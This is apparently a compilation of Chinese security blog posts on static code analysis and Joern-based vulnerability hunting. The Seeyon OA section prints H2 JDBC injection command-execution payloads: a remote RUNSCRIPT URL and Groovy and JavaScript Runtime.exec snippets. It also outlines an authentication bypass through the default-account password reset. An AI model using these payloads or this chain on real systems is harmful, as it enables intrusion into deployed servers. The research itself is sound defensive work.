但是可惜的是，作为安全研究员，你永远没办法知道开发人员是怎么写代码的。于是选择用关键字匹配的你面临着两种选择：

• 高覆盖性 – 宁错杀不放过

这类工具最经典的就是Seay，通过简单的关键字来匹配尽可能多的目标，之后使用者可以通过人工审计的方式进一步确认。

\beval\b\(

• 可用性 – 宁放过不错杀

这类工具最经典的是Rips免费版

\beval\b\(\$_(GET|POST)

用更多的正则来约束，用更多的规则来覆盖多种情况。这也是早期静态自动化代码审计工具普遍的实现方法。

但问题显而易见，高覆盖性和高可用性是这种实现方法永远无法解决的硬伤，不但维护成本巨大，而且误报率和漏报率也是居高不下。所以被时代所淘汰也是历史的必然。

02

近代时期 - 基于AST的代码分析

有人忽略问题，也有人解决问题。关键字匹配最大的问题是在于你永远没办法保证开发人员的习惯，你也就没办法通过任何制式的匹配来确认漏洞，那么基于AST的代码分析方式就诞生了，开发人员是不同的，但编译器是相同的。

在分享这种原理之前，我们首先可以复习一下编译原理。拿PHP代码举例子：

随着PHP7的诞生，AST也作为PHP解释执行的中间层出现在了编译过程的一环。

通过词法分析和语法分析，我们可以将任意一份代码转化为AST语法树。PHP常见的语义分析库可以参考：

• https://github.com/nikic/PHP-Parser

• https://github.com/viraptor/phply

当我们得到了一份AST语法树之后，我们就解决了前面提到的关键字匹配最大的问题，至少我们现在对于不同的代码，都有了统一的AST语法树。如何对AST语法树做分析也就成了这类工具最大的问题。

在理解如何分析AST语法树之前，我们首先要明白infomation flow、source、sink三个概念：

• source： 我们可以简单的称之为输入，也就是infomation flow的起点

• sink： 我们可以称之为输出，也就是infomation flow的终点

• infomation flow，则是指数据流动的过程。

把这个概念放在PHP代码审计过程中，Source就是指用户可控的输入，比如$_GET、$_POST等，而Sink就是指我们要找到的敏感函数，比如echo、eval，如果某一个Source到Sink存在一个完整的流，那么我们就可以认为存在一个可控的漏洞，这也就是基于infomation flow的代码审计原理。

在明白了基础原理的基础上，我举几个简单的例子：

<?php$a = $_GET[‘a’];eval($a);

这段代码对应的AST为：

Assignment(Variable('$a'),ArrayOffset(Variable('$_GET'), 'a'), False)Eval(Variable('$a'))

1、Eval函数

2、参数Variable(‘$a’)

3、Assignment函数

4、ArrayOffset

5、判断左值是不是Variable(‘$_GET’)

6、漏洞存在

在上面的分析过程中，Sink就是eval函数，Source就是$_GET，通过回溯Sink的来源，我们成功找到了一条流向Source的infomation flow，也就成功发现了这个漏洞。

在分析infomation flow的过程中，明确作用域是基础中的基础. 这也是分析infomation flow的关键，我们可以一起看看一段简单的代码：

<?phpFunction get($p){  echo $p;  return “echo 2333”;}$a = get($_GET[‘a’]);eval($a);

如果我们很简单的跟踪赋值关系去回溯，而没有考虑到函数定义的话，我们很容易将流定义为：

这样我们就错误的把这段代码定义成了存在漏洞，但很显然并不是，而正确的分析流程应该是这样的：

在这段代码中，从主语法树的作用域跟到Get函数的作用域，如何控制这个作用域的变动，就是基于AST语法树分析的一大难点，当我们在代码中不可避免的使用递归来控制作用域时，在多层递归中的统一标准也就成了分析的基础核心问题。

事实上，即便你做好了这个最简单的基础核心问题，你也会遇到层出不穷的问题。这里我举两个简单的例子：

(1) 新函数封装

<?php$a = $_GET['a']function ee($p) {  eval($p)}ee($a)

这是一段很经典的代码，敏感函数被封装成了新的敏感函数，参数是被二次传递的。为了解决，这样infomation flow的方向从逆向->正向的问题。

1、找到eval函数    

2、获取当前语句所在作用域

3、当前作用域为ee函数，并存在参数传递

4、ee被标记为新的敏感函数

(2) 多重调用链

var obj = {  url: location.hash.split('#')[1],  fruit: null};function loc() {  return this.url;}
obj.fruit = loc;
eval(obj.fruit());

这是一段有漏洞的JS代码，人工的话很容易看出来问题。但是如果通过自动化的方式回溯参数的话就会发现整个流程中涉及到了多种流向。

这里我用红色和黄色代表了流的两种流向。要解决这个问题只能通过针对类/字典变量的特殊回溯才能解决。

如果说，前面的两个问题是可以被解决的话，还有很多问题是没办法被解决的，这里举一个简单的例子。

<?php$_GET['a'] = htmlspecialchars($_GET['a']);echo $_GET['a'];

这是一个典型的全局过滤，人工审计可以很容易看出这里被过滤了。但是如果在自动化分析过程中，当回溯到Source为$_GET['a']时，已经满足了从Source到sink的infomation flow，已经被识别为漏洞。一个典型的误报就出现了。

而基于AST的自动化代码审计工具也正是在与这样的问题做博弈，对于基于AST的代码分析来说，最大的挑战在于没人能保证自己完美的处理所有的AST结构，再加上基于单向流的分析方式，无法应对100%的场景。

03

基于IR/CFG的代码分析

如果深度了解过基于AST的代码分析原理的话，不难发现许多弊端。首先AST是编译原理中IR/CFG的更上层，其AST中保存的内容更接近源代码。

也就是说，分析AST更接近分析代码，换句话就是说基于AST的分析得到的流，更接近脑子里对代码执行里的流程，忽略了大多数的分支、跳转、循环这类影响执行过程顺序的条件，这也是基于AST的代码分析的普遍解决方案，当然，从结果论上很难辨别忽略带来的后果。而基于IR/CFG这类带有控制流的解决方案，则是另一种解决思路。

首先我们得知道什么是IR/CFG：

• IR：是一种类似于汇编语言的线性代码，其中各个指令按照顺序执行。其中现在主流的IR是三地址码（四元组）

• CFG: （Control flow graph）控制流图，在程序中最简单的控制流单位是一个基本块，在CFG中，每一个节点代表一个基本块，每一个边代表一个可控的控制转移，整个CFG代表了整个代码的的控制流程图。

  
  

一般来说，我们需要遍历IR来生成CFG，当然，你也可以用AST来生成CFG，毕竟AST是比较高的层级。

而基于CFG的代码分析思路优势在于，对于一份代码来说，你首先有了一份控制流图（或者说是执行顺序），然后才到漏洞挖掘这一步。比起基于AST的代码分析来说，你只需要专注于从Source到Sink的过程即可。

但其实无论是基于哪种底层，后续的分析流程与AST其实别无太大的差别，挑战的核心仍然维持在如何控制流，维持作用域，处理程序逻辑的分支过程，确认Source与Sink。但其实无论是基于哪种底层，后续的分析流程与AST其实别无太大的差别，挑战的核心仍然维持在如何控制流，维持作用域，处理程序逻辑的分支过程，确认Source与Sink。上文中提到的是静态分析当中比较常见的一种作用域数据流回溯分析的思路，其实正向的污点分析，亦或者后来被人提到比较多的指针分析，核心思路大同小异。

而代码分析的基础方面，既然存在基于AST的代码分析，又存在基于CFG的代码分析，自然也存在其他的种类。比如现在市场上主流的fortify，Checkmarx，Coverity包括最新的Rips都使用了自己构造的语言的某一个中间部分，比如fortify和Coverity就需要对源码编译的某一个中间语言进行分析，又比如源伞实现了多种语言生成统一的IR，Joern使用了基于AST生成的CPG图结构进行分析。

事实上，无论是基于某种基础结构的代码分析，技术手段本身只有适应场景的不同，对于技术选型这件事情本身来说更重要的是你想要构建一个什么样的代码分析工具。

04

未来 - 通用化代码框架

基于QL概念的框架 - CodeQL

QL指的是一种面向对象的查询语言，用于从关系数据库中查询数据的语言。我们常见的SQL就属于一种QL，一般用于查询存储在数据库中的数据。

而在代码分析领域，Semmle QL是最早诞生的QL语言，他最早被应用于LGTM，并被用于Github内置的安全扫描为大众免费提供。紧接着，CodeQL也被开发出来，作为稳定的代码分析框架在github社区化。

• https://securitylab.github.com/tools/codeql

• https://semmle.com/codeql

那么什么是QL呢？QL又和代码分析有什么关系呢？

首先我们回顾一下基于AST、CFG这类代码分析最大的特点是什么？无论是基于哪种中间件建立的代码分析流程，都离不开3个概念，流、Source、Sink，这类代码分析的原理无论是正向还是逆向，都是通过在Source和Sink中寻找一条流。而这条流的建立围绕的是代码执行的流程，就好像编译器编译运行一样，程序总是流式运行的。这种分析的方式就是数据流分析（Data Flow）。

而QL就是把这个流的每一个环节具象化，把每个节点的操作具象成状态的变化，并且储存到数据库中。

这样一来，通过构造QL语言，我们就能找到满足条件的节点，并构造成流。下面我举一个简单的例子来说：

<?php$a = $_GET['a'];$b = htmlspecialchars($a);
echo $b;

我们简单的把前面的流写成一个表达式

echo => $_GET.is_filterxss

这里is_filterxss被认为是输入$_GET的一个标记，在分析这类漏洞的时候，我们就可以直接用QL表达。

select * where {    Source : $_GET,    Sink : echo,    is_filterxss : False,}

通过构造满足条件的语句，我们就可以找到这个漏洞（上面的代码仅为伪代码），从这样的一个例子我们不难发现，QL其实更接近一个概念，他鼓励将信息流具象化，这样我们就可以用更通用的方式去写规则筛选。

CodeQL类的工具(包括Checkmarx等等)其实就是类似的一个基础理念，通过封装底层的代码处理逻辑，并提供一个非常易用的上层平台给用户，用户可以不用了解复杂的编译原理就可以编写漏洞的规则。

但其实说到底这只是一个理念，并不是结果，以CodeQL为例子，其构建的一套语法规则并不能算是一套门槛很低的东西，反而其黑盒的底层阻止了安全研究人员进一步研究和使用CodeQL。

基于工具化的框架 - Joern

如果说CodeQL类的工具是探索做一个通用化的代码分析框架，来解决代码分析的场景。那Joern就走了另一条路，就是工具化。

Joern的底层原理是一套基于AST生成的通用CPG(Code Property Graph)图，在图的上层实现了一套基于OverflowDb的查询语言以供使用者可以在不需要知晓底层原理的基础上查询分析。

但我们这里想讨论的并不是Joern的原理，而是理念。Joern把自己定位成了安全研究员用于代码分析的一个工具，而不是执着于用一个按钮一个规则扫描漏洞，而是提供了人和代码的桥梁。

在Joern里，我用的比较多，也是比较常见的一个场景就是寻找某个方法的调用关系。在Joern shell当中，你可以用非常简单的方法获取某个函数的调用位置，已经调用了该函数的函数。

所以在Joern当中，你可以忽略数据流分析，而是用一些非常简单的交互式命令来辅助，在Joern你可以非常简单的获取"调用了A方法的路由入口"，而更实际的利用链完全可以有人来判定，省去为了上下文分析花去的力气。

当然，Joern在某些方面是成也工具化败也工具化，cpg本身强调调用关系和引用关系，Joern shell后端引用scala易用性有余实用性不足，你几乎很难在Joern的上层做数据流分析层面的分析。

三

总 结

其实相较第一版本的内容来说，我没有对文章内容做太多的更改，因为对于静态分析的底层原理来说用什么技术已经没什么很大的意义了，说到底原理都是差不多的。

商业代码分析的软件包括Checkmarx、Fortify等等，再到后来的CodeQL说到底其实都是技术长期积累的技术壁垒，很多问题也不是学术上的什么难点攻破。

而近几年越来越多的相关东西也如雨后春笋冒了出来，开源社区比较火的Joern、tabby、tai-e，其实技术原理上的东西大同小异，说到底就是还没有足够好用的产品出来，大多代码分析的软件还停留在某个底层技术的应用上。

而代码分析工具本身的易用性和场景化遇到的问题在我看来问题更大，即便是商业化程度非常高的Checkmarx这种软件也没法非常简单直白的接入到devsecops流程当中，很多工具甚至都解决不了高误报率和扫描效率低的问题，更谈不上实用了。在我看来，一款实用的好的代码分析软件还有很长的路要走。

四

参考链接

1、checkmarx

2、joern

3、fortify

4、https://github.com/wh1t3p1g/tabby

5、https://github.com/pascal-lab/Tai-e

【版权说明】

本作品著作权归LoRexxar所有

未经作者同意，不得转载

LoRexxar

天工实验室安全研究员

Vidar-Team，KunLun-M作者，长期从事白盒审计、静态分析、安全自动化相关领域研究

点击下方的卡片关注我们吧！

阅读原文

跳转微信打开

这篇文章的漏洞源于下面这篇文章，文章中提到该漏洞影响A8, A8+, A6等多个版本，下面我们尽可能的复现漏洞和探索Joern的可能性

致远OA是国内最有名的OA系统之一，这个OA封闭商业售卖再加上纷繁复杂的版本号加持下，致远OA拥有大量无法准确判断的版本。

这篇文章的漏洞源于下面这篇文章，文章中提到该漏洞影响A8, A8+, A6等多个版本，但很多版本我都找不到对应的源码，光A8就有一万个版本，下面我们尽可能的复现漏洞和探索Joern的可能性

• https://mp.weixin.qq.com/s/QWHHdYxUew_yhlnAQUvmRA

漏洞原理

先花一点儿篇幅简单的描述一下漏洞的基础原理，其实漏洞分为好几个部分

• 致远oa 前台XXE漏洞

• 致远oa S1服务 后台jdbc注入

• H2 jdbc注入导致RCE

• 致远oa S1服务 后台用户密码重置导致的鉴权绕过

我们分开讨论这部分

致远oa前台xxe漏洞

首先我必须得说，这部分内容涉及到的代码我找了很多个版本的源码都没有找到，尝试搜索了一下原漏洞以及一些简单的分析文章其实大部分都没有提到这部分代码的来源。

我觉得最神奇的点在于，这个漏洞如果仅按照原文提及的部分，漏洞原理及其简单，而且是一个比较标准的xxe漏洞

private List<Element> getNodes(String xmlString, String xpath) {
    ArrayList tmpList = null;
    try {
        SAXReader saxReader = new SAXReader();
        Reader xml_sr = new StringReader(xmlString);
        saxReader.setEncoding("UTF-8");
        Document document = saxReader.read(xml_sr);
        if (document.getRootElement() == null) {
            throw new KgException(new KgCommonsError("XmlParser Object hasn't RootElement.", KgCommonsError.SYSTEM_ERROR.getCode()));
        } else {
            List<?> contexts = document.selectNodes(xpath);
            tmpList = new ArrayList();
            for(int i = 0; i < contexts.size(); ++i) {
                if (contexts.get(i) instanceof Element) {
                    tmpList.add((Element)contexts.get(i));
                }
            }
            return tmpList;
        }
    }

可控参数xmlValue，直接解base64然后就进xxe造成漏洞。

按理说这么简单的漏洞，应该早就被爆出来滥用了，但我搜索了一下相应的内容，上一次致远oa爆出来xxe漏洞原理比这个复杂多了，而且还是组件漏洞。

由于实在找不到源码，所以我猜测这个漏洞可能有两个可能性

• 漏洞来自于某个部署时使用到的额外服务或者插件

• 这个xxe漏洞是个第三方组件问题，需要其他条件入口，原文不想提到这个入口所以没有写

不管咋说我的确是没有办法获得答案了，不过这不是这篇文章的重心，先往后看。

致远oa S1服务 后台jdbc注入

在原文中，这部分来自于agent.jar，简单来说就是一个开放到内网的服务，我查了一下应该是指这套S1服务。

在官网还可以查到这套系统，看上去应该是用于管理致远后台的平台，算是运维平台。这侧面也证明了这套系统是一套独立的系统。

在com.seeyon.agent.sfu.server.apps.configuration.controller.ConfigurationController可以找到对应的testDBConnect方法

可以关注到相比原文当中的截图，现在加入了对h2数据库连接的限制

params.put("dbUrl", dbUrl);
if (dbUrl.startsWith("jdbc:h2"))
  return JsonResult.success(StatusCodeEnum.FAILEDCODE.getKey(), ", null);

继续跟进到testDBConnect中

从这里可以找到可以根据dburl前缀自由连接远程jdbc的方法，并允许自定义链接驱动类

H2 jdbc注入导致RCE

这部分内容其实不算是这篇文章的重点致远oa的问题，一般来说到jdbc注入之后就是利用方式的问题了，但这里还是顺带提一下。

关于jdbc的注入后利用方式其实之前已经有过不少次相关的文章以及议题，下面这篇就是一篇总结的比较全的文章

• https://paper.seebug.org/1832/

• https://www.anquanke.com/post/id/203086

其实jdbc可控后续导致的二次利用方案相当复杂，由于这不是这篇文章的内容，所以我们直接跳到对应的位置来看看。

想要利用jdbc注入来调用H2进行进一步利用，其中有两个比较大的问题。

• 需要相应的配置参数才能命令执行

• 由于不支持多行语句，需要找到能在单行里执行命令的方法

H2的攻击利用的是Spring Boot H2 console的一个特性，通过控制h2数据库的连接url，我们可以迫使spring boot去加载远程的sql脚本并执行命令，类似下面这样的请求

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'

而这样的请求需要如下的参数

spring.h2.console.enable=true
spring.h2.console.setting.web-allow-others=true

我们简单的看下源码

在org.h2.engine.Engine#openSession中，发起连接是可以通过INIT关键字来影响初始化数据库连接的配置

当我们使用RUNSCRIPT关键字发起远程连接时，代码将会执行到org.h2.command.dml.RunScriptCommand#execute

这也就意味着我们可以通过RUNSCRIPT来执行恶意的SQL语句，但使用RUNSCRIPT意味着，你的客户端必须出网才有可能利用。

而我们之所以要使用RUNSCRIPT，本质是因为常见的恶意SQL执行命令需要两句，而session.prepareCommand并不支持执行多行语句

CREATE ALIAS RUNCMD AS $$<JAVA METHOD>$$;
CALL RUNCMD(command)

在Spring Boot H2 console的源码中，我们可以继续寻找问题的解决办法，在SQL语句当中的JAVA方法将会执行到org.h2.util.SourceCompiler,一共有三种编译器，分别是Java/Javascript/Groovy

如果满足source开头是//groovy或者是@groovy就会使用对应Groovy引擎。

利用@groovy.transform.ASTTEST 就可以使用assert来执行命令

public static void main (String[] args) throws ClassNotFoundException, SQLException {
    String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")" + "})" + "def x";
    String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '"+ groovy +"'";
    Connection conn = DriverManager.getConnection(url);
    conn.close();
}

除了Groovy以外还有JavaScript的利用方案

public static void main (String[] args) throws ClassNotFoundException, SQLException {
    String javascript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"open -a Calculator.app\")";
    String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '"+ javascript +"'";
    Connection conn = DriverManager.getConnection(url);
    conn.close();
}

致远oa S1服务 后台用户密码重置导致的鉴权绕过

在前面找到对应的利用方案之后，当我们尝试去做利用的时候会发现其实后台有额外的权限验证。直接访问testDBConnenction，会报非法访问的错误。

这是因为没有传入对应的token，在com.seeyon.agent.common.utils.TokenUtils中可以找到对应的检查

这里的tokenMap可以在com.seeyon.agent.common.getway.GetWayController找到对应的写入位置

通过解密获得username、pwd、dogcode、versions，经过各种验证之后token会被存入全局变量

这个token会被存入最终的tokenMap当中，而到这里我们问题变成了如何模拟这个过程，在这个过程当中我们需要的信息有点儿多

• username，可以用默认的用户名seeyon

• pwd

• version

• aes的秘钥和iv

跟踪 AESUtil.Decrypt到定义的位置，可以发现秘钥和iv都是默认的，可以直接使用

在com.seeyon.agent.common.controller.ConfigController中可以找到一个方法modifyDefaultUserInfo

这个方法可以在没有任何限制的情况下修改默认用户seeyon的密码

最后剩下的一个信息则是version，这个后台的版本比较复杂，我们可以通过一个接口来获取

在com.seeyon.agent.common.controller.VersionController的getVersion方法里可以获取对应的版本号

到这里我们获取了模拟token的所有信息，就可以在后台进行任意操作了

For Joern

当问题回到源代码扫描上，我们也可以用类似的漏洞拆解来实现扫描

致远oa前台xxe漏洞

由于这个源码找不到，所以这里用一个类似场景写出来的语句来进行模拟挖掘和扫描。

def source = cpg.method("getParameter").callIn
def sink = cpg.call.filter(_.methodFullName.contains("java.io.StringReader.<init>"))
sink.reachableByFlows(source).p

我们可以通过连通初始化位置以及可控参数来判断是否存在路径，正常来说如果两个节点存在连通路径，那么就存在调用关系，但数据流的过程间分析需要更合理的判定方式，就比如这个漏洞。

SAXReader的XXE漏洞修复方案并不是在参数的过滤上，而是在于SAXReader对解析xml的配置

这就要求除了获得source到sink的连通性以及调用关系以外，还要对SAXReader实例化后的属性变化有所关注，在Joern上虽然可以强行做这样的判定，但却没有特别适配的方案，甚至需要通过正则匹配等方式来解决。

致远oa S1服务 后台jdbc注入

照理先引入S1的包，这个东西其实代码不是很大，但是不知道为什么解出来的包非常之大，可能有一些问题。

joern> importCode("S1.jar", "seeyons1")
val res36: io.shiftleft.codepropertygraph.Cpg = Cpg (Graph [959587 nodes])

先找到设置了注解的testDBConnect方法

cpg.method("testDBConnect").where(_.annotation.name(".*Mapping")).l

然后再找到设置jdbc连接的位置，并设置参数为3个string

cpg.method("getConnection").callIn.filter(_.methodFullName.contains("java.lang.String,java.lang.String,java.lang.String")).l

def sink = cpg.method("getConnection").callIn.filter(_.methodFullName.contains("java.lang.String,java.lang.String,java.lang.String"))
def source = cpg.method("testDBConnect").where(_.annotation.name(".*Mapping")).parameter
sink.reachableByFlows(source).p

存在连通性，表示包含注解的方法参数可以连通到sink点，存在问题。

H2 jdbc注入导致RCE

相比其他几个问题，这个jdbc的利用其实就不算源代码分析层面的部分了。

无论是通过H2的链接来配置参数还是通过特殊语句二次利用，其实本质上都是H2数据库的feature，这里我们就跳过源代码分析的部分继续看后面的部分

致远oa S1服务 后台用户密码重置导致的鉴权绕过

让我们把视角在转回S1上，其实问题很简单，由于后台主要检查token是否有效

所以我们可以尝试去寻找全局变量tokenMap初始化过的地方

cpg.call("<operator>.fieldAccess").filter(_.code.equals("com.seeyon.agent.common.utils.TokenUtils.tokenMap")).l

然后寻找对应调用的位置

cpg.call("<operator>.fieldAccess").filter(_.code.equals("com.seeyon.agent.common.utils.TokenUtils.tokenMap")).map(n=>n.astIn.head.astIn.head._astIn.head.asInstanceOf[io.shiftleft.codepropertygraph.generated.nodes.Method].fullName).l

可以看到涉及到tokenMap的方法出了isChecktoken以外还有getToken

然后我们继续寻找调用了getToken的地方

cpg.call.filter(_.methodFullName.contains("com.seeyon.agent.common.utils.TokenUtils.getToken")).l

然后向上寻找对应的调用函数是什么

cpg.call.filter(_.methodFullName.contains("com.seeyon.agent.common.utils.TokenUtils.getToken")).map(n=>n.astIn.head.astIn.head._astIn.head.asInstanceOf[io.shiftleft.codepropertygraph.generated.nodes.Method].fullName).l

在这里我们找到了调用gettoken的位置，也正好对应写入token的位置。

而在后续的利用条件收集中，也可以利用joern来快速挖掘和发现。

• 寻找获取用户名和密码的方法

这个很简单，就像我们平时做代码审计的时候，会通过一些关键字来搜索关键代码一样，在joern中，你可以做类似的事情。我们可以搜索变量名为username的变量被调用的位置。

cpg.identifier("username")._astIn.dedup.l

当然这显得非常粗暴，数据量非常大，但我们可以做更多的限制，比如调用该变量的方法必须包含put

cpg.identifier("username").map(n=>n._callViaAstIn.filter(_.code.contains("put")).dedup.l).l

我们可以直接向上找到对应的函数方法定义位置

cpg.identifier("username").map(n=>n._callViaAstIn.filter(_.code.contains("put"))._astIn._astIn.l).dedup.l

我们可以选择几个打开看看

当然我们发现不只是有名字为password的变量，还有名为password的常量

cpg.literal("\"password\"").map(n=>n._callViaAstIn.filter(_.code.contains("put"))._astIn._astIn.map(m=>List(m.asInstanceOf[io.shiftleft.codepropert
y raph.generated.nodes.Method].fullName)).l).dedup.l

可以顺着这里找到写入默认账户的位置

前面提到的默认账户修改密码的点也能搜索到，这里甚至可以直接用默认账号和密码

除此之外寻找版本号的位置也可以用joern来完成，直接搜索调用了version变量的地方

cpg.identifier("version").map(n=>n._callViaAstIn.filter(_.code.contains("put"))._astIn._astIn.map(m=>List(m.asInstanceOf[io.shiftleft.codepropertygraph.generated.nodes.Method].fullName)).l).dedup.l

直接找到了对应的getVersion方法

通过joern提供的从属关系图可以快速锁定我们要寻找的大致目标，其中的问题也相当实际，你很难在不熟悉代码的情况下利用joern做深入的扫描，这也是joern类工具的症结之一

阅读原文

跳转微信打开

Jumpserver是一个开源的django架构的堡垒机系统，一个常用的第三方组件库django-simple-captcha有泄露随机数种子的问题，再配合Jumpserver使用了错误的随机数方案导致了最终的漏洞。

Jumpserver是一个开源的django架构的堡垒机系统，由lawliet & zhiniang peng(@edwardzpeng) with Sangfor在上个月报送了这个漏洞

• https://github.com/jumpserver/jumpserver/security/advisories/GHSA-7prv-g565-82qp

漏洞原理其实比较神奇，一个常用的第三方组件库django-simple-captcha有泄露随机数种子的问题，再配合Jumpserver使用了错误的随机数方案导致了最终的漏洞。

漏洞成因

这里我们的目标不是分析漏洞，所以这里简单快速的分析下漏洞的成因，具体的漏洞分析可以看下面两篇文章

• https://www.leavesongs.com/PENETRATION/jumpserver-sep-2023-multiple-vulnerabilities-go-through.html

• https://www.cnblogs.com/zpchcbd/p/17747778.html

在分析代码级的漏洞成因之前，我想作为计算机相关的工作者，我们应该都有一个共识，就是计算机中没有真正意义的伪随机，无论是任何语言的随机数生成函数几乎都是从类似 /dev/random的地方取值，这里我们不讨论随机数底层的问题。

在代码的上层，我们几乎可以认为如果你不知道随机数的种子，那么你就无法对随机数做出预测。换言之，如果我们知道随机数的种子，我们就有一定的概率预测随机数。

django-simple-captcha是Django的相关组件中非常流行的验证码生成库，就像phith0n所说，在国内你几乎没有别的选择，引入的方式超级简单，只要在配置里引入对应库

INSTALLED_APPS = [
    ...
    'captcha',

然后加入对应的验证码路由

urlpatterns += [
	path('core/auth/captcha/', include('captcha.urls')),
]

最后只要在对应的form中加入验证码的字段就行了

class CaptchaMixin(forms.Form):
    captcha = CaptchaField(widget=CustomCaptchaTextInput, label=_('Captcha'))

但事实上，看似简单的django-simple-captcha中实际包含着一个很大的问题。

django-simple-captcha 随机数种子泄露

这个问题在0.5.19版本中被修复

这里其实涉及到了django-simple-captcha的一个feature，在设计上其实是允许通过key来指定随机数种子的，这个feature是为了让同一个key可以对应同一个验证码，用来实现验证码的对应。

而这里的key是一个已知的值，就是用于生成验证码的参数

换言之，我们可以得知当前Random的随机数种子，甚至可以控制这个种子。

修复的方案也很简单粗暴，只要在生成结束之后用随机一个新种子就可以了

• https://github.com/mbi/django-simple-captcha/commit/dcf1ccda3b12df179eaa5c0ebec95a897e96245f

那么这对jumpserver又有什么影响呢？

JumpServer 密码重置漏洞

相比django-simple-captcha来说，JumpServer更像是一个受害者，虽然存在一些安全隐患但本身并不致命。我们可以猜想一下随机数在一般的系统里常用的场景。

• 重置密码

• 激活码、兑换码

相比激活码的场景来说，重置密码的常见程度更高，如果系统内没有刻意对管理员账号做限制，那么如果可以预测重置密码的验证结果，那么就可以获得一个超级管理员权限，而JumpServer的代码中是这样做的。

/apps/authentication/api/password.py

重置密码用的code使用了random_string来生成，然后看看random_string的定义

这个函数在jumpserver中重做过好几次，但大同小异，其实就是用random.choice从列表中选取随机字符，最终生成最后的验证码。

这里我们不去细纠这个利用方式中的细节点，这不是本篇文章的讨论重点，简单来说就是

• 通过django-simple-captcha泄露当前random的种子

• 通过种子推测有限次的random结果（其中不仅仅包括密码重置token，还有验证码噪点等）

这样我们就通过对随机数的预测实现进一步的漏洞利用，而修复的方案也很简单

在最初版本的修复方案中，Jumpserver在获取密码重置token时重置了当前随机数种子。这个修复方案也没什么问题。

在后来的改动中，可能是因为看了P牛的文章，Jumpserver把random换成了secrets，相对来说比前一个方案更稳定一些，也是相关文档中推荐的方案

For Joern

从源代码的角度来讲，这个漏洞成因可以分成两部分

• 存在泄露随机数种子，或者可以控制随机数种子的位置

• 在未显式重置随机数种子的基础上，引用了random来生成随机数

随机数种子泄露

其实这个漏洞用Joern来处理挺吃力的，首先是Joern只会处理目标目录下的源码，而在正常的环境下，python引入的包其实都在python的目录下，也就是说理论上我们无法在分析项目的时候，顺便分析django-simple-captcha。

这里我们强行引入下分析django-simple-captcha包

> .\joern
     ██╗ ██████╗ ███████╗██████╗ ███╗   ██╗
     ██║██╔═══██╗██╔════╝██╔══██╗████╗  ██║
     ██║██║   ██║█████╗  ██████╔╝██╔██╗ ██║
██   ██║██║   ██║██╔══╝  ██╔══██╗██║╚██╗██║
╚█████╔╝╚██████╔╝███████╗██║  ██║██║ ╚████║
 ╚════╝  ╚═════╝ ╚══════╝╚═╝  ╚═╝╚═╝  ╚═══╝
Version: 2.0.52
Type `help` to begin
joern> importCode("../captcha/")

先找到random.seed调用的位置

先检查调用位置到函数定义位置是否有数据联通

def source = cpg.method("seed").caller.parameter
def sink = cpg.method("seed").callIn
sink.reachableByFlows(source).p

得到的答案是肯定的，seed的参数key可控，接着找对应的路由，在django里路由一般是用path，而这个组件使用re_path

from django.urls import path
from django.urls import re_path

我们可以直接快捷的查看相应的路由函数调用位置

然后通过对应的调用函数来获取指定的路由

 cpg.method("re_path").callIn.filter(_._callViaAstOut.code.contains("views.captcha_image")).l

当然可能也不用这么麻烦，理论上来说直接设置source也是可以连起来的，只不过re_path读取key的方式是正则匹配，所以原装的reachableByFlows无法处理这种情况，我们只能强行做一些限制

cpg.method("re_path").callIn.filter(_._callViaAstOut.code.contains("views.captcha_image")).filterNot(_.argument.code.contains("<key>")).l

由于这条命令可以获取结果，所以代表着存在可以设置随机数种子的路由和对应的参数。

当然，由于漏洞的特殊性不仅仅在于可控，还需要后续没有进一步重置随机数种子，所以我们还需要更多的条件来确认这一点。

其实要做到这点也并不复杂，只需要确认，在设置seed种子的方法中，没有调用过无参的seed方法即可。

cpg.method("seed").caller.filter(_._callViaContainsOut.filter(_.name.contains("seed")).filter(_.argument.size<2).size==0).l

上面这条命令的意思是

• 寻找seed方法的调用方法

• 寻找该方法中调用的方法中，名字为seed，并参数为0(joern中，参数index为0的位置表示为this，也就是当前方法所属的类)

• 展示调用方法中，满足条件的调用数量为0的方法

如果返回结果，则证明该方法中没有重置新的随机数种子，当然，到这里并不能完全的验证这个结论，毕竟这里指处理了显式重置，如果是更严格的数据流分析，应该从重置随机数种子的位置入手，确认是否有数据流经过，但这种方案对于joern来说比较困难，这里先不深入到这个级别研究。

JumpServer密码重置漏洞

这里分析JumpServer的时候遇到的最大的问题是JumpServer的代码量有点儿大，导入到Joern里有83万个节点:<

其实相比Django-simple-captcha的问题来说，JumpServer的问题在源代码的角度上来说更不像一个问题，只能算是一个使用错误的范例，有潜在的风险。我们需要用joern完成的工作包括两部分

• 在获取随机数之前，没有重置过随机数种子

• 在获取随机数之前，共执行了多少次随机操作

先找到对应调用random.choice方法的方法

而调用过seed方法重置随机数种子的位置只有一个，看了一下没有相关的引用关系，看上去像是一段测试代码

由于场景特殊，这里我们用不到那么深入的数据流分析，只需要在对应重置密码的路由中确认是否调用random.choice方法就行了

这里直接用repeat untils来实现就可以

repeat...untils...还是那个老问题，容易递归爆炸，路径重复问题严重，我觉得这是joern实现里一个非常普遍的问题，但至少可以确定两个调用位置的连通性。

接下来我们的问题变成了，我们如何知道在这条数据流中random调用了多少次。

我尝试了几次之后发现，如果想要在语句上控制限制范围，以确认random的调用次数，会遇到比较多的问题，正向分析的深入深度问题，以及循环分支的次数数据问题，问题比想象中的大，我暂且认为这不是joern的适用场景。

而相应的修复就更简单了，直接换用secrets替代random会直接影响到前面的方法发现，我们就无法获得对应的数据流了。

阅读原文

跳转微信打开

这个系列会记录我用Joern复现真实漏洞的一些过程，同样也是对Joern的深入探索。这里我选用Java-se

这个系列会记录我用Joern复现真实漏洞的一些过程，同样也是对Joern的深入探索。这里我选用Java-sec-code的范例代码做第一部分，这篇文章记录了两个比较经典的漏洞

• Springboot Acutators导致命令执行

• postgreSQL jdbc反序列化漏洞(CVE-2022-21724)

Joern分析Java代码可以选择用代码文件夹也可以选择直接分析jar包

importCode("../../java-sec-code/target/java-sec-code-1.0.0.jar")

Springboot Acutators配置问题

• https://github.com/JoyChou93/java-sec-code/wiki/Actuators-to-RCE#reference

